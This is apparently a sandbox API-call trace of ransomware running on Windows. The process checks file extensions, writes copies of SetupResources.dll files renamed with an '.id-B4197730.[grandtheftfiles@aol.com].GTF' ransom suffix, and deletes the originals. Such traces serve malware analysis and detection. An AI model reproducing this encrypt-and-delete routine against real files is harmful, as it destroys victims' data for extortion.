	[0068.392] lstrlenW (lpString=".1cd") returned 4
	[0068.392] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0068.392] lstrlenW (lpString=".jpg") returned 4
	[0068.392] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0068.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0068.392] lstrlenW (lpString=".doc") returned 4
	[0068.392] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.392] lstrlenW (lpString=".docx") returned 5
	[0068.392] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.392] lstrlenW (lpString=".pdf") returned 4
	[0068.392] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.392] lstrlenW (lpString=".xls") returned 4
	[0068.392] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.392] lstrlenW (lpString=".xlsx") returned 5
	[0068.392] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.392] lstrlenW (lpString=".ppt") returned 4
	[0068.392] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.392] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0068.393] lstrlenW (lpString=".zip") returned 4
	[0068.393] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.393] lstrlenW (lpString=".rar") returned 4
	[0068.393] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.393] lstrlenW (lpString=".bz2") returned 4
	[0068.393] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.393] lstrlenW (lpString=".7z") returned 3
	[0068.393] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0068.393] lstrlenW (lpString=".dbf") returned 4
	[0068.393] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0068.393] lstrlenW (lpString=".1cd") returned 4
	[0068.393] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.393] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45
	[0068.393] lstrlenW (lpString=".jpg") returned 4
	[0068.393] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.393] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.393] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.393] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.393] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=17752) returned 1
	[0068.393] CloseHandle (hObject=0x368) returned 1
	[0068.394] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80
	[0068.394] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.394] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.394] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.394] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.394] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0068.394] GetLastError () returned 0x0
	[0068.394] ReadFile (in: hFile=0x368, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x4558, lpOverlapped=0x0) returned 1
	[0068.423] WriteFile (in: hFile=0x36c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x4560, lpOverlapped=0x0) returned 1
	[0068.424] ReadFile (in: hFile=0x368, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.424] WriteFile (in: hFile=0x36c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.425] SetEndOfFile (hFile=0x36c) returned 1
	[0068.425] CloseHandle (hObject=0x36c) returned 1
	[0068.427] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.427] SetEndOfFile (hFile=0x368) returned 1
	[0068.429] CloseHandle (hObject=0x368) returned 1
	[0068.429] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.429] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1
	[0068.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0068.429] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0068.429] lstrlenW (lpString=".doc") returned 4
	[0068.429] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.429] lstrlenW (lpString=".docx") returned 5
	[0068.429] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.429] lstrlenW (lpString=".pdf") returned 4
	[0068.429] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.430] lstrlenW (lpString=".xls") returned 4
	[0068.430] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.430] lstrlenW (lpString=".xlsx") returned 5
	[0068.430] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.430] lstrlenW (lpString=".ppt") returned 4
	[0068.430] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0068.430] lstrlenW (lpString=".zip") returned 4
	[0068.430] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.430] lstrlenW (lpString=".rar") returned 4
	[0068.430] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.430] lstrlenW (lpString=".bz2") returned 4
	[0068.430] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.430] lstrlenW (lpString=".7z") returned 3
	[0068.430] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0068.430] lstrlenW (lpString=".dbf") returned 4
	[0068.430] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0068.430] lstrlenW (lpString=".1cd") returned 4
	[0068.430] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0068.430] lstrlenW (lpString=".jpg") returned 4
	[0068.430] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0068.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0068.448] lstrlenW (lpString=".doc") returned 4
	[0068.448] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.448] lstrlenW (lpString=".docx") returned 5
	[0068.448] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.448] lstrlenW (lpString=".pdf") returned 4
	[0068.448] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.448] lstrlenW (lpString=".xls") returned 4
	[0068.448] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.448] lstrlenW (lpString=".xlsx") returned 5
	[0068.448] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.448] lstrlenW (lpString=".ppt") returned 4
	[0068.448] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.448] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0068.448] lstrlenW (lpString=".zip") returned 4
	[0068.448] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.448] lstrlenW (lpString=".rar") returned 4
	[0068.448] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.448] lstrlenW (lpString=".bz2") returned 4
	[0068.448] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.448] lstrlenW (lpString=".7z") returned 3
	[0068.449] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.449] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0068.449] lstrlenW (lpString=".dbf") returned 4
	[0068.449] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.449] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0068.449] lstrlenW (lpString=".1cd") returned 4
	[0068.449] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.449] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45
	[0068.449] lstrlenW (lpString=".jpg") returned 4
	[0068.449] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.449] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.449] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.449] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.449] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=18776) returned 1
	[0068.449] CloseHandle (hObject=0x368) returned 1
	[0068.449] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 0x80
	[0068.449] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.450] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0068.450] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.450] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.450] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0068.450] GetLastError () returned 0x0
	[0068.450] ReadFile (in: hFile=0x368, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0068.668] WriteFile (in: hFile=0x36c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0068.669] ReadFile (in: hFile=0x368, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.669] WriteFile (in: hFile=0x36c, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.669] SetEndOfFile (hFile=0x36c) returned 1
	[0068.669] CloseHandle (hObject=0x36c) returned 1
	[0068.671] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.671] SetEndOfFile (hFile=0x368) returned 1
	[0068.671] CloseHandle (hObject=0x368) returned 1
	[0068.672] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.672] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll")) returned 1
	[0068.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0068.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0068.672] lstrlenW (lpString=".doc") returned 4
	[0068.672] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.672] lstrlenW (lpString=".docx") returned 5
	[0068.672] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.672] lstrlenW (lpString=".pdf") returned 4
	[0068.672] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.672] lstrlenW (lpString=".xls") returned 4
	[0068.672] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.672] lstrlenW (lpString=".xlsx") returned 5
	[0068.672] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.672] lstrlenW (lpString=".ppt") returned 4
	[0068.672] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0068.672] lstrlenW (lpString=".zip") returned 4
	[0068.672] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.673] lstrlenW (lpString=".rar") returned 4
	[0068.673] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.673] lstrlenW (lpString=".bz2") returned 4
	[0068.673] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.673] lstrlenW (lpString=".7z") returned 3
	[0068.673] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0068.673] lstrlenW (lpString=".dbf") returned 4
	[0068.673] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0068.673] lstrlenW (lpString=".1cd") returned 4
	[0068.673] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0068.673] lstrlenW (lpString=".jpg") returned 4
	[0068.673] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0068.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0068.674] lstrlenW (lpString=".doc") returned 4
	[0068.674] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.674] lstrlenW (lpString=".docx") returned 5
	[0068.674] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.674] lstrlenW (lpString=".pdf") returned 4
	[0068.674] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.674] lstrlenW (lpString=".xls") returned 4
	[0068.674] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.674] lstrlenW (lpString=".xlsx") returned 5
	[0068.674] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.674] lstrlenW (lpString=".ppt") returned 4
	[0068.674] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0068.674] lstrlenW (lpString=".zip") returned 4
	[0068.674] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.674] lstrlenW (lpString=".rar") returned 4
	[0068.674] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.674] lstrlenW (lpString=".bz2") returned 4
	[0068.674] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.674] lstrlenW (lpString=".7z") returned 3
	[0068.674] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0068.674] lstrlenW (lpString=".dbf") returned 4
	[0068.674] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0068.674] lstrlenW (lpString=".1cd") returned 4
	[0068.674] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\2070\\SetupResources.dll") returned 45
	[0068.674] lstrlenW (lpString=".jpg") returned 4
	[0068.674] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.675] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0068.675] lstrlenW (lpString="SetupResources.dll") returned 18
	[0068.675] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.677] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=18776) returned 1
	[0068.677] CloseHandle (hObject=0x330) returned 1
	[0068.677] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 0x80
	[0068.678] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.678] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0068.678] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.678] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.678] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.679] GetLastError () returned 0x0
	[0068.679] ReadFile (in: hFile=0x330, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x4958, lpOverlapped=0x0) returned 1
	[0068.682] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x4960, lpOverlapped=0x0) returned 1
	[0068.683] ReadFile (in: hFile=0x330, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.684] WriteFile (in: hFile=0x334, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0068.684] SetEndOfFile (hFile=0x334) returned 1
	[0068.684] CloseHandle (hObject=0x334) returned 1
	[0068.685] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.685] SetEndOfFile (hFile=0x330) returned 1
	[0068.686] CloseHandle (hObject=0x330) returned 1
	[0068.686] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.686] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll")) returned 1
	[0068.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0068.686] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0068.686] lstrlenW (lpString=".doc") returned 4
	[0068.686] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.686] lstrlenW (lpString=".docx") returned 5
	[0068.686] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.686] lstrlenW (lpString=".pdf") returned 4
	[0068.686] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.686] lstrlenW (lpString=".xls") returned 4
	[0068.686] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.686] lstrlenW (lpString=".xlsx") returned 5
	[0068.686] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.686] lstrlenW (lpString=".ppt") returned 4
	[0068.686] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0068.687] lstrlenW (lpString=".zip") returned 4
	[0068.687] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.687] lstrlenW (lpString=".rar") returned 4
	[0068.687] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.687] lstrlenW (lpString=".bz2") returned 4
	[0068.687] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.687] lstrlenW (lpString=".7z") returned 3
	[0068.687] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0068.687] lstrlenW (lpString=".dbf") returned 4
	[0068.687] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0068.687] lstrlenW (lpString=".1cd") returned 4
	[0068.687] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0068.687] lstrlenW (lpString=".jpg") returned 4
	[0068.687] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0068.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0068.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0068.687] lstrlenW (lpString=".doc") returned 4
	[0068.687] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0068.687] lstrlenW (lpString=".docx") returned 5
	[0068.687] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0068.687] lstrlenW (lpString=".pdf") returned 4
	[0068.687] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0068.687] lstrlenW (lpString=".xls") returned 4
	[0068.687] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0068.687] lstrlenW (lpString=".xlsx") returned 5
	[0068.687] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0068.687] lstrlenW (lpString=".ppt") returned 4
	[0068.687] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0068.687] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0068.688] lstrlenW (lpString=".zip") returned 4
	[0068.688] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0068.688] lstrlenW (lpString=".rar") returned 4
	[0068.688] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0068.688] lstrlenW (lpString=".bz2") returned 4
	[0068.688] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0068.688] lstrlenW (lpString=".7z") returned 3
	[0068.688] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0068.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0068.688] lstrlenW (lpString=".dbf") returned 4
	[0068.688] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0068.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
	[0068.688] lstrlenW (lpString=".1cd") returned 4
	[0068.688] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0068.688] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\SetupResources.dll") returned 45
